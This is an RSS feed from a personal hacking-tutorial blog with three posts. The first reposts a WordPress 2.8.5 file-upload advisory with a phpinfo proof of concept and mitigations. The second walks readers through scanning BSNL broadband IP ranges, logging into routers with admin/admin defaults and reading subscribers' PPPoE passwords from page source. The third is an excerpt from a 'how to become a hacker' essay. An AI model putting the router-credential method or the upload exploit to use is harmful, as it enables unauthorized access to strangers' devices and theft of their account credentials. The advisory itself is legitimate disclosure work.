<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ankit Kumar Agarwal &#187; Tutorials</title>
	<atom:link href="http://ankitkumaragarwal.com/category/tutorials/feed/" rel="self" type="application/rss+xml" />
	<link>http://ankitkumaragarwal.com</link>
	<description>Hack the way you Think!!</description>
	<lastBuildDate>Thu, 20 May 2010 05:27:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<image>
<link>http://ankitkumaragarwal.com</link>
<url>http://ankitkumaragarwal.com/wp-content/plugins/maxblogpress-favicon/icons/favicon-56.ico</url>
<title>Ankit Kumar Agarwal</title>
</image>
		<item>
		<title>WordPress 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution</title>
		<link>http://ankitkumaragarwal.com/wordpress-2-8-5-unrestricted-file-upload-arbitrary-php-code-execution/</link>
		<comments>http://ankitkumaragarwal.com/wordpress-2-8-5-unrestricted-file-upload-arbitrary-php-code-execution/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 16:11:16 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=104</guid>
		<description><![CDATA[Recently Dawid Golunski released a wp 2.8.5 exploit which let users to execute arbitatry PHP codes.
After i had a conversation with him it was concluded that this exploied is confiend to a few apchae servers only and other servers are safe!! Below is a copy of his discolsure and our conversation:-
Disclosure
==============================
===============
- Release date: November 11th, [...]]]></description>
			<content:encoded><![CDATA[<p>Recently Dawid Golunski released a wp 2.8.5 exploit which let users to execute arbitatry PHP codes.</p>
<p>After i had a conversation with him it was concluded that this exploied is confiend to a <strong>few apchae </strong>servers only and other servers are safe!! Below is a copy of his discolsure and our conversation:-</p>
<p><strong>Disclosure</strong></p>
<p>==============================</p>
<div id=":1lv">===============<br />
- Release date: November 11th, 2009<br />
- Discovered by: Dawid Golunski<br />
- Severity: Moderately High<br />
=============================================</p>
<p>I. VULNERABILITY<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
WordPress &lt;= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution</p>
<p>II. BACKGROUND<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards,<br />
and  usability. WordPress is both free and priceless at the same time. More simply, WordPress is<br />
what you use when you want to work with your blogging software, not fight it.</p>
<p>III. DESCRIPTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Wordpress allows authorised users to add an attachment to a blog post.<br />
It does not sanitize provided file properly before moving it to an uploads directory.</p>
<p>The part of the code responsible for uploading files looks as follows:</p>
<p>wp-admin/includes/file.php:<br />
&#8212;[cut]&#8212;<br />
line 217:<br />
function wp_handle_upload( &amp;$file, $overrides = false, $time = null ) {<br />
&#8212;[cut]&#8212;<br />
// All tests are on by default. Most can be turned off by $override[{test_name}] = false;<br />
$test_form = true;<br />
$test_size = true;</p>
<p>// If you override this, you must provide $ext and $type!!!!<br />
$test_type = true;<br />
$mimes = false;<br />
&#8212;[cut]&#8212;</p>
<p>// A properly uploaded file will pass this test. There should be no reason to override this one.<br />
if (! @ is_uploaded_file( $file['tmp_name'] ) )<br />
return $upload_error_handler( $file, __( &#8216;Specified file failed upload test.&#8217; ));</p>
<p>// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.<br />
if ( $test_type ) {<br />
$wp_filetype = wp_check_filetype( $file['name'], $mimes );</p>
<p>extract( $wp_filetype );</p>
<p>if ( ( !$type || !$ext ) &amp;&amp; !current_user_can( &#8216;unfiltered_upload&#8217; ) )<br />
return $upload_error_handler( $file,<br />
__( &#8216;File type does not meet security guidelines. Try another.&#8217; ));</p>
<p>if ( !$ext )<br />
$ext = ltrim(strrchr($file['name'], &#8216;.&#8217;), &#8216;.&#8217;);</p>
<p>if ( !$type )<br />
$type = $file['type'];<br />
} else {<br />
$type = &#8221;;<br />
}</p>
<p>// A writable uploads dir will pass this test. Again, there&#8217;s no point overriding this one.<br />
if ( ! ( ( $uploads = wp_upload_dir($time) ) &amp;&amp; false === $uploads['error'] ) )<br />
return $upload_error_handler( $file, $uploads['error'] );</p>
<p>$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );</p>
<p>// Move the file to the uploads dir<br />
$new_file = $uploads['path'] . &#8220;/$filename&#8221;;<br />
if ( false === @ move_uploaded_file( $file['tmp_name'], $new_file ) ) {<br />
return $upload_error_handler( $file,<br />
sprintf( __(&#8216;The uploaded file could not be moved to %s.&#8217; ), $uploads['path'] ) );<br />
}<br />
&#8212;[cut ]&#8212;</p>
<p>From the above code we can see that provided filename gets checked with:<br />
$wp_filetype = wp_check_filetype( $file['name'], $mimes );</p>
<p>Here is how the wp_check_filetype() function looks like:</p>
<p>wp-includes/functions.php:<br />
&#8212;[cut]&#8212;<br />
line 2228:</p>
<p>function wp_check_filetype( $filename, $mimes = null ) {<br />
// Accepted MIME types are set here as PCRE unless provided.<br />
$mimes = ( is_array( $mimes ) ) ? $mimes : apply_filters( &#8216;upload_mimes&#8217;, array(<br />
&#8216;jpg|jpeg|jpe&#8217; =&gt; &#8216;image/jpeg&#8217;,<br />
&#8216;gif&#8217; =&gt; &#8216;image/gif&#8217;,<br />
&#8216;png&#8217; =&gt; &#8216;image/png&#8217;,<br />
&#8216;bmp&#8217; =&gt; &#8216;image/bmp&#8217;,<br />
&#8216;tif|tiff&#8217; =&gt; &#8216;image/tiff&#8217;,<br />
&#8216;ico&#8217; =&gt; &#8216;image/x-icon&#8217;,<br />
&#8216;asf|asx|wax|wmv|wmx&#8217; =&gt; &#8216;video/asf&#8217;,<br />
&#8216;avi&#8217; =&gt; &#8216;video/avi&#8217;,</p>
<p>&#8212;[cut, more mime types]&#8212;<br />
line 2279:</p>
<p>$type = false;<br />
$ext = false;</p>
<p>foreach ( $mimes as $ext_preg =&gt; $mime_match ) {<br />
$ext_preg = &#8216;!\.(&#8216; . $ext_preg . &#8216;)$!i&#8217;;<br />
if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {<br />
$type = $mime_match;<br />
$ext = $ext_matches[1];<br />
break;<br />
}<br />
}</p>
<p>return compact( &#8216;ext&#8217;, &#8216;type&#8217; );<br />
}</p>
<p>We can see that type of the file gets set to a predefined MIME type that matches supplied<br />
extension, and that the extension is obtained from a regexp that matches a mime ext. string after<br />
the LAST dot.<br />
If extension is not on the list $type and $ext will be set to FALSE and wordpress will<br />
produce an error (&#8220;File type does not meet security guidelines. Try another&#8221;).</p>
<p>Let&#8217;s look at the other check that is performed on the filename before a file gets uploaded,<br />
that is a call to the following function:<br />
$filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback );</p>
<p>wp-includes/functions.php:<br />
line 2096:<br />
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {<br />
// sanitize the file name before we begin processing<br />
$filename = sanitize_file_name($filename);</p>
<p>&#8212;[cut, code that only matters if uploaded file already exists]&#8212;<br />
line 2126:<br />
return $filename;<br />
}</p>
<p>To have a complete view on file sanitization performed by wordpress we need to look into the<br />
sanitize_file_name() function:</p>
<p>wp-includes/formatting.php:<br />
line 601:<br />
function sanitize_file_name( $filename ) {<br />
$filename_raw = $filename;<br />
$special_chars = array(&#8220;?&#8221;, &#8220;[", "]&#8220;, &#8220;/&#8221;, &#8220;\\&#8221;, &#8220;=&#8221;, &#8220;&lt;&#8221;, &#8220;&gt;&#8221;, &#8220;:&#8221;, &#8220;;&#8221;, &#8220;,&#8221;, &#8220;&#8216;&#8221;, &#8220;\&#8221;",<br />
&#8220;&amp;&#8221;, &#8220;$&#8221;, &#8220;#&#8221;, &#8220;*&#8221;, &#8220;(&#8220;, &#8220;)&#8221;, &#8220;|&#8221;, &#8220;~&#8221;, &#8220;`&#8221;, &#8220;!&#8221;, &#8220;{&#8220;, &#8220;}&#8221;, chr(0));<br />
$special_chars = apply_filters(&#8217;sanitize_file_name_chars&#8217;, $special_chars, $filename_raw);<br />
$filename = str_replace($special_chars, &#8221;, $filename);<br />
$filename = preg_replace(&#8216;/[\s-]+/&#8217;, &#8216;-&#8217;, $filename);<br />
$filename = trim($filename, &#8216;.-_&#8217;);<br />
return apply_filters(&#8217;sanitize_file_name&#8217;, $filename, $filename_raw);<br />
}</p>
<p>This function removes special characters shown above, replaces spaces and consecutive dashes with<br />
a single dash, trims period, dash and underscore from beginning and end of the filename.</p>
<p>The sanitization process appears quite extensive however it does not take into account files that<br />
have multiple extensions.<br />
It is possible to upload a file containing an arbitrary PHP script with an extension of &#8216;.php.jpg&#8217;<br />
and execute it by requesting the uploaded file directly.</p>
<p>The execution of the PHP code despite the .php.jpg extension is possible because Apache<br />
allows for multiple extensions. Here is a quote from Apache docs regarding this matter:</p>
<p>&#8221;<br />
Files can have more than one extension, and the order of the extensions is normally irrelevant.<br />
For example, if the file <a href="http://welcome.html.fr/" target="_blank">welcome.html.fr</a> maps onto content type text/html and language French then<br />
the file welcome.fr.html will map onto exactly the same information. If more than one extension is<br />
given that maps onto the same type of meta-information, then the one to the right will be used,<br />
except for languages and content encodings. For example, if .gif maps to the MIME-type  image/gif<br />
and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with<br />
the MIME-type text/html.</p>
<p>Care should be taken when a file with multiple extensions gets associated with both a MIME-type<br />
and a handler. This will usually result in the request being handled by the module associated with<br />
the handler. For example, if the .imap  extension is mapped to the handler imap-file<br />
(from mod_imagemap) and the .html extension is mapped to the MIME-type text/html, then the file<br />
world.imap.html will be associated with both the imap-file handler and text/html MIME-type.<br />
When it is processed, the imap-file handler will be used, and so it will be treated as a<br />
mod_imagemap imagemap file.<br />
&#8221;</p>
<p>IV. PROOF OF CONCEPT<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Browser is enough to replicate this issue. Simply log in to your wordpress blog as a low privileged<br />
user or admin. Create a new post and use the media file upload feature to upload a file:</p>
<p>test-image.php.jpg</p>
<p>containing the following code:</p>
<p>&lt;?php<br />
phpinfo();<br />
?&gt;</p>
<p>After the upload you should receive a positive response saying:</p>
<p>test-vuln.php.jpg<br />
image/jpeg<br />
2009-11-11</p>
<p>and it should be possible to request the uploaded file via a link:<br />
<a href="http://link-to-our-wp-unsecured-blog.com/wp-content/uploads/2009/11/test-vuln.php.jpg" target="_blank">http://link-to-our-wp-unsecured-blog.com/wp-content/uploads/2009/11/test-vuln.php.jpg</a></p>
<p>thus executing the PHP code it contains.</p>
<p>In the above code example, a php info page will be shown.</p>
<p>V. BUSINESS IMPACT<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
An attacker that has already obtained login details (for example by stealing user&#8217;s cookies with<br />
an XSS attack) to the blog as one of the existing users could exploit this vulnerability to get<br />
access to the system in the Apache user&#8217;s context.<br />
From there he could use local bugs to further escalate the privileges. Apache account would be<br />
enough in most cases to view the source codes and gain access to the databases.</p>
<p>Some wordpress users of the 2.8.5 release have reported that some php files have been added to<br />
their wordpress directory. It could be possible that they have been hit by this bug. Therefore it<br />
is important to take some countermeasures as soon as possible.</p>
<p>VI. SYSTEMS AFFECTED<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Most likely all of the wordpress releases contain this bug. Including the current hardened stable<br />
release 2.8.5 and the beta version.</p>
<p>VII. SOLUTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Vendor has been informed about the bug. Currently wordpress developers and contributors are in<br />
the process of bug hunting and fixing reported bugs in beta versions before the new stable release,<br />
so hopefully it should not take long for them to take this problem into account.</p>
<p>You can apply the temporary solutions for this problem which I provide below before an official<br />
patch is made.</p>
<p>You can create a .htaccess file in the uploads dir (wordpress/wp-content/uploads) with<br />
the following content:</p>
<p>deny from all<br />
&lt;Files ~ &#8220;^\w+\.(gif|jpe?g|png|avi)$&#8221;&gt;<br />
order deny,allow<br />
allow from all<br />
&lt;/Files&gt;</p>
<p>Adjust allowed file extensions in the brackets if necessary.<br />
This will prevent Apache from serving files with double extensions inside the uploads directory.</p>
<p>Alternatively you can try to patch the source code yourself by editing the<br />
wp-admin/includes/file.php file and the wp_handle_upload() function it contains. An example patch<br />
could be to add the following three lines of code at the line 260:</p>
<p>// Fix Unrestricted File Upload Arbitrary PHP Code Execution bug, return if more than 1 extension provided<br />
if ( count(explode(&#8216;.&#8217;, $file['name'])) &gt; 2 );<br />
return $upload_error_handler( $file, __( &#8216;File type does not meet security guidelines. Try another.&#8217; ));</p>
<p>VIII. REFERENCES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<a href="http://www.wordpress.org/" target="_blank">http://www.wordpress.org</a><br />
<a href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#multipleext" target="_blank">http://httpd.apache.org/docs/2.2/mod/mod_mime.html#multipleext</a></p>
<p>IX. CREDITS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
This vulnerability has been discovered by Dawid Golunski<br />
golunski (at) onet (dot) eu</p>
<p>Greetings go to: robxt, sajanek, xsoti, bart, falcon (for the old time&#8217;s sake <img src='http://ankitkumaragarwal.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  and complexmind</p>
<p>X. REVISION HISTORY<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
November 11th, 2009: Initial release</p>
<p>XI. LEGAL NOTICES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of<br />
use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.</p></div>
<div><strong><br />
</strong></div>
<div><strong>Counter question by me</strong></div>
<div></div>
<div>Hi,<br />
i was testing this and i get just the url echoed nothing else.The php info command didnt work.<br />
am i missing something?<br />
Morover</p>
<div>
For example, if .gif maps to the MIME-type  image/gif<br />
and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with<br />
the MIME-type text/html.</div>
</div>
<div>So doesnt that mean that the file will be associated with jpg only?<br />
sorry if you think this noobis.But i am not able to figure it out.<br />
Thanks</div>
<div>Ankit kumar agarwal</div>
<div></div>
<div><strong>His reply</strong></div>
<div></div>
<div>Hi,</p>
<div>Yes, you missed the other part of the quote from apache docs <img src='http://ankitkumaragarwal.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  That is:</div>
<div>
<div>&#8220;Care should be taken when a file with multiple extensions gets associated with both a MIME-type</div>
<div>and a handler. This will usually result in the request being handled by the module associated with</div>
<div>the handler. For example, if the .imap  extension is mapped to the handler imap-file</div>
<div>(from mod_imagemap) and the .html extension is mapped to the MIME-type text/html, then the file</div>
<div>world.imap.html will be associated with both the imap-file handler and text/html MIME-type.</div>
<div>When it is processed, the imap-file handler will be used, and so it will be treated as a</div>
<div>mod_imagemap imagemap file.&#8221;</div>
</div>
<div>A lot of systems that use apache/php have their apache configured so that it handles .php files via:</div>
<div>AddHandler php5-script .php</div>
<div>as opposed to :</div>
<div>AddType application/x-httpd-php .php (which is probably your case)</div>
<div>According to the above, handlers have priority over mime types thus .php.jpg will be executed as a php.</div>
<div>I&#8217;m going to clarify this on bugtraq soon so it is clear for others too.</div>
<div>Hope this clarifies it.</div>
<div>Take care,</div>
<div>Dawid</div>
</div>
<div><strong><br />
</strong></div>
<div><strong>His public Explanation of what i asked</strong></div>
<div></div>
<div>Hi,<br />
Just wanted to add a quick update on affected systems since I forgot to mention webservers along with wordpress versions in my advisory.<br />
Some people are wondering why the vulnerability doesn&#8217;t work on their system.</p>
<p>I&#8217;m pretty sure that the exploit won&#8217;t work on web servers other than Apache (as they probably won&#8217;t process extensions other than the last one). So not  apache based servers are probably safe here.<br />
Whether it will work on your Apache server or not depends on your mod_php configuration.<br />
The exploit won&#8217;t work on servers where PHP scripts handling has been configured as follows:</p>
<p>&lt;FilesMatch \.php$&gt;<br />
SetHandler application/x-httpd-php<br />
&lt;/FilesMatch&gt;</p>
<p>If the exploit doesn&#8217;t work for you this is most likely the case.</p>
<p>The exploit however will work on systems where php scripts are handled via the following setting in the php.conf:</p>
<p>AddHandler php5-script .php</p>
<p>which I think is quite common. For example Apache distributed in Red Hat based systems seem to have php configured in such a way.</p>
<p>Hope this clears the matter a bit.</p>
<p>Regards,<br />
Dawid</p></div>
<div></div>
<div></div>
<div>Thats it..dont misuse above information!!</div>
<div></div>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/wordpress-2-8-5-unrestricted-file-upload-arbitrary-php-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Hack BSNL brod band aacounts?</title>
		<link>http://ankitkumaragarwal.com/how-to-hack-bsnl-brod-band-aacounts/</link>
		<comments>http://ankitkumaragarwal.com/how-to-hack-bsnl-brod-band-aacounts/#comments</comments>
		<pubDate>Wed, 27 May 2009 07:42:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=49</guid>
		<description><![CDATA[Disclaimer : The information provided below is for educational purpose only. The author is not responsible for any misuse of the information and discourages any illegal use of it.
  
Bsnl DataOne Broadband continues to grow as one the most popular broadband services in India with high speed facilities of upto 2 mpbs. But a [...]]]></description>
			<content:encoded><![CDATA[<p><b>Disclaimer : The information provided below is for educational purpose only. The author is not responsible for any misuse of the information and discourages any illegal use of it.<o:p></o:p></b></p>
<p>  <b><span style="font-size: 11pt; line-height: 115%; font-family: &quot;Calibri&quot;,&quot;sans-serif&quot;;"><br />
<br />Bsnl DataOne Broadband continues to grow as one the most popular broadband services in India with high speed facilities of upto 2 mpbs. But a large number of users of this service are vulnerable to hacker attacks because discovering and hacking the vulnerable victims of this network is shockingly simple. If you are a Bsnl Broadband user then immediately assess the security of your internet connection and take appropriate steps to secure yourself.</p>
<p> <span class="fullpost"></p>
<p><b>First lets see how simple it is to hack bsnl dataone broadband usernames and passwords. For this you shall need a ipscanner tool called Angry IP Scanner http://www.angryziber.com/ipscan/ or anything similar.</p>
<p>Ok so lets begin&#8230; Get your IP from :<br />
<br />www.ipmango.com</p>
<p>Step 1 : Start Angry IP scanner and goto options > ports. Type in 80 in the first ports textbox and click ok.<br />
<br />Then goto options > options ; in the display section select &#8220;only open ports&#8221; and click ok&amp;save.</p>
<p>Now on the main screen put in the ip scan range as something 59.*.0.0 &#8211; 59.*.255.255 (for e.g. 59.95.2.3) and click the start button. And the list that shall follow next are the victims. In this example we choose the range 59.95.0.0 &#8211; 59.95.255.255. You will be surprised at the number of victims you discover.</p>
<p>Step 2 : Pick the ip-address of any of them and open up your browser and type in http://59.*.*.* (the * should be replaced by the values from the ip you are using. A box will popup asking for username and password. Enter the username : admin and password : admin .There is a high chance that you will be able to login with that username and password.<br />
<br />admin-admin is the default username and password that is set while manufacturing the adsl modem devices.</p>
<p>What follows next is the modem administration panel.<br />
<br />Simply search for the &#8220;WAN&#8221; option and click it. On the next page you will find the username and password of that user. now right-click on the page and click view source. in Mozilla/Opera This frame -> view frame source</p>
<p>Now in the source code search for this : INPUT TYPE=&#8221;PASSWORD&#8221;</p>
<p>and the value field of this input element will have the password</p>
<p>if its not there as in case of D-Link DSL 502T ADSL Routers the search for this</p>
<p>input type=&#8221;hidden&#8221; name=&#8221;connection0:pppoe:settings/password&#8221; value=&#8221;password&#8221; id=&#8221;uiPostPppoePassword&#8221;</p>
<p>and the value field will have the password<br />
<br />Well each steps take less than 1 minute so getting username passwords wont take even 2 minutes and is easier than sending a mail.</p>
<p>And this exposes the weak security of bsnl broadband users.</p>
<p>Well this is not a weakness but more of a mis-configuration which leads to insecurity. If you understand networking then you would probably realise that it was merely logging into the remote administration service of the modem and nothing else. This was not really hacking but a simple search of victims who are absolutely ignorant of their weak security on the internet.</p>
<p>Most routers have an option where remote management can be disabled. In other words, you can only connect to the configuration interface from the internal network, not the WAN(Internet) side. You would definitely want to make sure remote management is not active to protect yourself.</p>
<p>Note : On SmartAX MT880 eventhough Remote Management is disabled , it permits remote logins from over the Internet. So change your mode administration passwords immediately.</p>
<p>The problem is that the professionals at Bsnl are ignorant of such simplicity of networking and unable to advise the users or guide them to take proper security measures leaving their customers and themselves absolutely unsecure.</p>
<p>Now lets check a few more options related to this issue. A bsnl broadband modem can be used in two modes. RFC Bridged mode and pppoe mode.</p>
<p>In the RFC Bridged mode the device behaves like a modem device that is attached to your computer and you use some dialup software to dial into the isp through this modem.This is PPPOE from the PC and the adsl device is a good modem. This mode is safer as the username password are on your pc and nothing is on the modem.</p>
<p>In the PPPOE mode the adsl device becomes a router &#8211; a distinct network device with many features enabled. In this mode the username password is stored in the modem which will dial to the isp and establish the internet connectivity. The computers will just connect to this router who would be their primary gateway. Now this is the mode where the risk exists.</p>
<p>If remote administration is enabled the remote users from the internet can login to this modems administration panel. Now the main problem is the default admin username-password which most users dont change due to ignorance. &#8220;admin-admin&#8221; is pair that works in most cases giving you full access to the modems internals. What follows next is simple as drinking a glass of orange juice.</p>
<p>Many users install firewalls and think they are safe, but they fail to understand that the firewall protects their PC not the &#8220;router&#8221; since the topology is like</p>
<p>(PC) -> router -> internet</p>
<p>So how should you secure yourself ?</p>
<p>1. Use RFC Bridged mode if it is sufficient for you.</p>
<p>2. Change the default admin password of your modem.</p>
<p>3. Disable wan ping reply . ( this will prevent the hackers from directly discovering your pc when it is on the internet)</p>
<p>4. Disable remote configuration feature.</p>
<p>5. Check your broadband usage on a regular basis and compare it with your own surfing schedules to check whether someone else has used it or not. If suspiscious usage is indicated then immediately change your bband password as well. Or a better suggestion would be to change broadband passwords on a regular basis.</p>
<p>Try to spread the security awareness to your friends and other relatives who are using Bsnl broadband and encourage them to secure their internet connectivity.</p>
<p>Disclaimer : The information provided above is for educational purpose only. The main purpose of the author is to spread awareness amongst users. The author is not responsible for any misuse of the information and discourages any illegal use of it.</b></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/how-to-hack-bsnl-brod-band-aacounts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to become a hacker-ch 4</title>
		<link>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-4/</link>
		<comments>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-4/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 18:09:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[info]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=23</guid>
		<description><![CDATA[chapter-4
Table of contents
Points For Style
Other Resources
Frequently Asked Questions
The Hacker/Nerd Connection
Contrary to popular myth, you don&#8217;t have to be a nerd to be a hacker. It does help, however, and many hackers are in fact nerds. Being something of a social outcast helps you stay concentrated on the really important things, like thinking and hacking.

 
For [...]]]></description>
			<content:encoded><![CDATA[<p><b><i style="color: rgb(255, 255, 255);"><span style="" lang="EN">chapter-4</span></i><o:p></o:p></b></p>
<p><b><i style="color: rgb(255, 255, 255);"><span style="" lang="EN">Table of contents</span></i><o:p></o:p></b></p>
<p>Points For Style<b><o:p></o:p></b></p>
<p>Other Resources<b><o:p></o:p></b></p>
<p>Frequently Asked Questions<b><o:p></o:p></b></p>
<p><b><span style="" lang="EN">The Hacker/Nerd Connection</span><o:p></o:p></b></p>
<p><span style="" lang="EN">Contrary to popular myth, you don&#8217;t have to be a nerd to be a hacker. It does help, however, and many hackers are in fact nerds. Being something of a social outcast helps you stay concentrated on the really important things, like thinking and hacking.</span><span style=""><o:p></o:p></span></p>
<p><span class="fullpost">
<p><span style=""><o:p> </o:p></span></p>
<p><span style="" lang="EN">For this reason, many hackers have adopted the label ‘geek’ as a badge of pride — it&#8217;s a way of declaring their independence from normal social expectations (as well as a fondness for other things like science fiction and strategy games that often go with being a hacker). The term &#8216;nerd&#8217; used to be used this way back in the 1990s, back when &#8216;nerd&#8217; was a mild pejorative and &#8216;geek&#8217; a rather harsher one; sometime after 2000 they switched places, at least in U.S. popular culture, and there is now even a significant geek-pride culture among people who aren&#8217;t techies.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">If you can manage to concentrate enough on hacking to be good at it and still have a life, that&#8217;s fine. This is a lot easier today than it was when I was a newbie in the 1970s; mainstream culture is much friendlier to techno-nerds now. There are even growing numbers of people who realize that hackers are often high-quality lover and spouse material.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">If you&#8217;re attracted to hacking because you don&#8217;t have a life, that&#8217;s OK too — at least you won&#8217;t have trouble concentrating. Maybe you&#8217;ll get a life later on.</span><span style=""><o:p></o:p></span></p>
<p><b><span style="" lang="EN">Points For Style</span><o:p></o:p></b></p>
<p><span style="" lang="EN">Again, to be a hacker, you have to enter the hacker mindset. There are some things you can do when you&#8217;re not at a computer that seem to help. They&#8217;re not substitutes for hacking (nothing is) but many hackers do them, and feel that they connect in some basic way with the essence of hacking.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Learn to write your native language well. Though it&#8217;s a common stereotype that programmers can&#8217;t write, a surprising number of hackers (including all the most accomplished ones I know of) are very able writers.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Read science fiction. Go to science fiction conventions (a good way to meet hackers and proto-hackers). </span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Train in a martial-arts form. The kind of mental discipline required for martial arts seems to be similar in important ways to what hackers do. The most popular forms among hackers are definitely Asian empty-hand arts such as Tae Kwon Do, various forms of Karate, Kung Fu, Aikido, or Ju Jitsu. Western fencing and Asian sword arts also have visible followings. In places where it&#8217;s legal, pistol shooting has been rising in popularity since the late 1990s. The most hackerly martial arts are those which emphasize mental discipline, relaxed awareness, and control, rather than raw strength, athleticism, or physical toughness.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Study an actual meditation discipline. The perennial favorite among hackers is Zen (importantly, it is possible to benefit from Zen without acquiring a religion or discarding one you already have). Other styles may work as well, but be careful to choose one that doesn&#8217;t require you to believe crazy things.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Develop an analytical ear for music. Learn to appreciate peculiar kinds of music. Learn to play some musical instrument well, or how to sing.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Develop your appreciation of puns and wordplay.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">The more of these things you already do, the more likely it is that you are natural hacker material. Why these things in particular is not completely clear, but they&#8217;re connected with a mix of left- and right-brain skills that seems to be important; hackers need to be able to both reason logically and step outside the apparent logic of a problem at a moment&#8217;s notice.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">Work as intensely as you play and play as intensely as you work. For true hackers, the boundaries between &#8220;play&#8221;, &#8220;work&#8221;, &#8220;science&#8221; and &#8220;art&#8221; all tend to disappear, or to merge into a high-level creative playfulness. Also, don&#8217;t be content with a narrow range of skills. Though most hackers self-describe as programmers, they are very likely to be more than competent in several related skills — system administration, web design, and PC hardware troubleshooting are common ones. A hacker who&#8217;s a system administrator, on the other hand, is likely to be quite skilled at script programming and web design. Hackers don&#8217;t do things by halves; if they invest in a skill at all, they tend to get very good at it.</span><span style=""><o:p></o:p></span></p>
<p><span style="" lang="EN">Finally, a few things <i>not</i> to do.</span><span style=""><o:p></o:p></span></p>
<p style="margin-left: 0.5in; text-indent: -0.25in;"><!--[if !supportLists]--><span style=";font-family:Symbol;font-size:10;"  ><span style="">·<span style="">         </span></span></span><!--[endif]--><span style="" lang="EN">Don&#8217;t use a silly, grandiose user ID or screen name. </span><span style=""><o:p></o:p></span></p>
